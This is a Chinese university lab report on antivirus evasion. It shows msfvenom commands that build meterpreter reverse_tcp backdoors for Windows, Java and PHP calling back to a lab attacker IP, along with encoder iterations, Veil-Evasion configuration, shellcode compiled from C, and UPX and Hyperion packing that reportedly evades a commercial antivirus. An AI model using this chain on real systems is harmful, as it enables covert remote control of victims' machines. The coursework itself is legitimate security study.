2018-2019-2 网络对抗技术 20165328 Exp3 免杀原理与实践
一、实验要求:
. 实践内容(.5分) 1.1 正确使用msf编码器(.5分),msfvenom生成如jar之类的其他文件(.5分),veil-evasion(.5分),加壳工具(.5分),使用shellcode编程(1分) 1.2 通过组合应用各种技术实现恶意代码免杀(.5分) (如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。) 1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(加分0.) 报告内容: 2.1.基础问题回答 ()杀软是如何检测出恶意代码的? ()免杀是做什么? ()免杀的基本方法有哪些? 2.2.实践总结与体会 2.3.开启杀软能绝对防止电脑中恶意代码吗? 2.4.实践过程记录 .报告评分 1分 3.1 报告整体观感 .5分 3.1. 报告格式范围,版面整洁 加0.。 3.1. 报告排版混乱,加0分。 3.2 文字表述 .5分 3.2.1报告逻辑清楚,比较简要地介绍了自己的操作目标与过程 加0.5分。 3.2.2报告逻辑混乱表述不清或文字有明显抄袭可能 加0分
二、免杀基础问题回答:
1、杀毒软件是如何检测出恶意代码的?
- 是基于特征码的检测(杀软的特征库中包含了一些数据或者数据段,杀软会尽可能的更新这个特征库,以包括尽可能多的恶意代码,当一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码)。
- 是启发式恶意软件检测(很简单,就是根据些片面特征去推断,也就是进行检测,当某个软件或者程序想干一些看起来像是恶意软件干的事情,那么机会被定义为恶意软件,检测效果比较显著,可以检测0-day恶意软件,但通常是因为缺乏精确判定依据,并且因为需要一直检测,所以开销比较大)。
- 是基于行为的恶意软件检测(在启发式上加入了行为监控,基于动态的监控)。
2、免杀是做什么?
- 顾名思义,就是通过一系列的操作修改使杀毒软件无法检测灭杀恶意代码
3、免杀的基本方法有哪些?
- 改变特征码 例如加壳。
- 自己手写恶意代码避开易被查杀的特征码 制作恶意软件。
三、实验内容:
任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧
1. 正确使用msf编码器,生成exe文件
在实验二中使用msf生成了后门程序,我们可以使用VirusTotal或Virscan这两个网站对生成的后门程序进行扫描。
用VirusTotal扫描后结果如下:
- 继续使用Virscan网站检验,此时会出现如下错误:
- 改名后继续扫描,结果如下:
综上可知,不加任何处理的后门程序会被大多数的杀毒软件检测出来,接下来使用msf编码器对后门程序进行编码处理,然后继续进行检测
- 一次编码使用命令:
-e
选择编码器,-b
是payload中需要去除的字符,该命令中为了使'\x00'不出现在shellcode中,因为shellcode以'\x00'为结束符 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.1.211 LPORT= -f exe > backdoor .exe
继续扫描结果如下:
能检测出来的杀毒软件比之前少了一些,证明编码操作可以躲过一些杀毒软件的查杀
- 十次编码使用命令:
-i
设置迭代次数 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i -b ‘\x00’ LHOST=192.168.1.211 LPORT= -f exe > backdoor.exe
继续扫描结果如下:
可以看出和之前的一次编码相比没多大区别,可见多次编码对免杀没有太大的效果,原因有两点:
- 杀软只要盯住shikata_ga_nai解码(decoder stub)加入exe的部分。
- msfvenom会以固定的模板生成exe,所有它生成的exe,如果使用默认参数或模板,也有一定的固定特征。
2. msfvenom生成jar文件:
- 生成java后门程序使用命令:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.211 LPORT= x> djw-backdoor.jar
生成文件如下:
- 扫描结果如下:
3. msfvenom生成php文件
- 生成PHP后门程序使用命令:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.211 LPORT= x> djw_backdoor.php
生成文件如下:
- 扫描结果如下:
4. 使用veil-evasion生成后门程序及检测
- 安装veil命令如下:
mkdir -p ~/.cache/wine
cd ~/.cache/wine
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi用
sudo apt-get install veil-evasion
命令安装Veil之后用
veil
打开veil,输入y
继续安装直至完成:
- 之后用veil打开veil,输入y继续安装直至完成,输入veil指令,会出现下面这个界面:
- 用use evasion命令进入Evil-Evasion:
- 输入命令use c/meterpreter/rev_tcp.py进入配置界面:
设置反弹连接IP,命令为:
set LHOST 192.168.1.127
,注意此处的IP是KaliIP;设置端口,命令为:
set LPORT 5328
- 输入generate生成文件,接着输入你想要playload的名字:veil_c_5328
- 检测一下:
可以看到还是依然会被检测出来。
5. 半手工注入Shellcode并执行
首先使用命令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.127 LPORT=5328 -f c
用c语言生成一段shellcode;
- 创建一个文件20165328.c,然后将unsigned char buf[]赋值到其中,代码如下:
- 使用命令:
i686-w64-mingw32-g++ 20165328.c -o 20165328.exe
编译这个.c文件为可执行文件;
- 检测结果如下图:
- 当想要使用windows上执行该程序时,被电脑的腾讯电脑管家查杀:
话说我才刚复制过去就没了,电脑管家有点猛啊
6.加壳尝试一下
使用压缩壳(UPX)
- 给之前的20165328.exe加个壳得到djw_upxed.exe:
- 检测结果如下:
嗯,还是直接没了。。。。。。
- 再在网站上扫描一下:
稍微少了一些,看来加壳有效果
加密壳Hyperion
- 将上一个生成的文件拷贝到
/usr/share/windows-binaries/hyperion/
目录中 - 进入目录
/usr/share/windows-binaries/hyperion/
中 - 输入命令
wine hyperion.exe -v djw_upxed.exe djw_upxed_Hyperion.exe
进行加壳:
- 尝试一下反弹连接:
- 扫描查杀一下:
电脑管家这次没有查杀出来
任务二:通过组合应用各种技术实现恶意代码免杀
- 通过组合半手工制作shellcode,压缩壳,加密壳达到了免杀的目的
- 基本和实验的任务一后半部分相同
- 任务成功截图:
任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本:
- 实验环境:被控机是Win7虚拟机,电脑管家
- 攻击成功,可以查看他的文件夹13.3.20237.212
- 两台电脑ping通截图;
- 然后就无论如何都反弹不回来了,问了许多同学都没有解决,就只能这样了
实践总结与体会:
- 通过这次实验我了解了许多新的知识,仿佛为我打开了新世界的大门,以前在我心目中一直显得高大上遥不可及的后门,免杀第一次清晰地呈现在了我的面前,让我得以一窥传说中的黑客真容,同时通过此次实验我也了解到了一些便捷的如VirusTotal之类的网站,更加熟悉了Kali的使用,为我今后的学习打下了更坚实的基础
离实战还缺些什么技术或步骤?
- 我感觉我离实战还有很大很大的差距,就拿这次的实验来说,我大多数的时候都是参考其他同学的博客来做的,缺乏了一些自己的想法,在真正的实战中,情况瞬息万变,不会有时间拿来给我们慢慢的模仿,学习。所以我们需要学习更多的知识,做更多的练习,才能真正的达到实战的地步。
2018-2019-2 网络对抗技术 20165328 Exp3 免杀原理与实践的更多相关文章
- 2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践
2018-2019-2 20165315 <网络对抗技术>Exp3 免杀原理与实践 一.实验内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion ...
- 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...
- 2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...
- 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...
- 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...
- 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...
- 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践
2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...
随机推荐
- leanote折腾指南
持续更新. 过几天把自己的修改好的css放到github上给大家参考. https://github.com/whuwangyong/leanote-conf TODO leanote Linux/W ...
- THUWC2019滚粗记
Day-1 今年年初,留坑,以后补,多多关注. Day0 上午吃了碗粉,就坐地铁到了高铁站. 做高铁从长沙到了广州,最大的感受就是热热热热热热热热. 所以太热了不说了.(雾 汉堡王真香 Day1 上午 ...
- POJ1988 Cube stacking(非递归)
n有N(N<=30,000)堆方块,开始每堆都是一个方块.方块编号1 – N. 有两种操作: nM x y : 表示把方块x所在的堆,拿起来叠放到y所在的堆上. nC x : 问方块x下面有多少 ...
- 超详细的Guava RateLimiter限流原理解析
超详细的Guava RateLimiter限流原理解析 mp.weixin.qq.com 点击上方“方志朋”,选择“置顶或者星标” 你的关注意义重大! 限流是保护高并发系统的三把利器之一,另外两个是 ...
- 修改CentOS6.5默认主机名(root下操作)
使用CentOS6.5官方镜像安装完毕之后,默认的主机名为localhost,不便管理,我们需要根据实际情况修改. 此处我准备讲默认的主机名 localhost 改为 comex01-ct65 第一步 ...
- mybatis if test 判断字符串的坑
今天调试一个非常简单的test判断字符串查询语句,怎么调试都是不好用,后来百度才发现,是我写的test标签写错了,我写成: <if test="record.current != nu ...
- SQL2012数据库还原失败System.Data.SqlClient.SqlError: 无法执行 BACKUP LOG,因为当前没有数据库备份
在一次数据库还原的操作过程中遇到如上错误,去百度了下找到了对应的解决方法 第一个: 在还原完整备份时候,在回复状态状态哪里选择 restore with norecovery ,尾日志部分可选可不选, ...
- LDM与STM指令详解
title: LDM与STM指令详解 date: 2019/2/26 17:58:00 toc: true --- LDM与STM指令详解 指令形式如下,这里的存储方向是针对寄存器的 Load Mul ...
- I2C(一)框架
目录 I2C(一)框架 引入 整体框架 数据结构 文件结构 流程简述 参考文档 title: I2C(一)框架 date: 2019/1/28 17:58:42 toc: true --- I2C(一 ...
- python--再看并行之协程线程进程
1.gevent协程适合I/O密集,不适合CPU密集. 3.gevent协程无法发挥多核优势,事实上,协程只是以单线程的方式在运行. 3.子程序就是协程的一种特例 项目实际应用 from gevent ...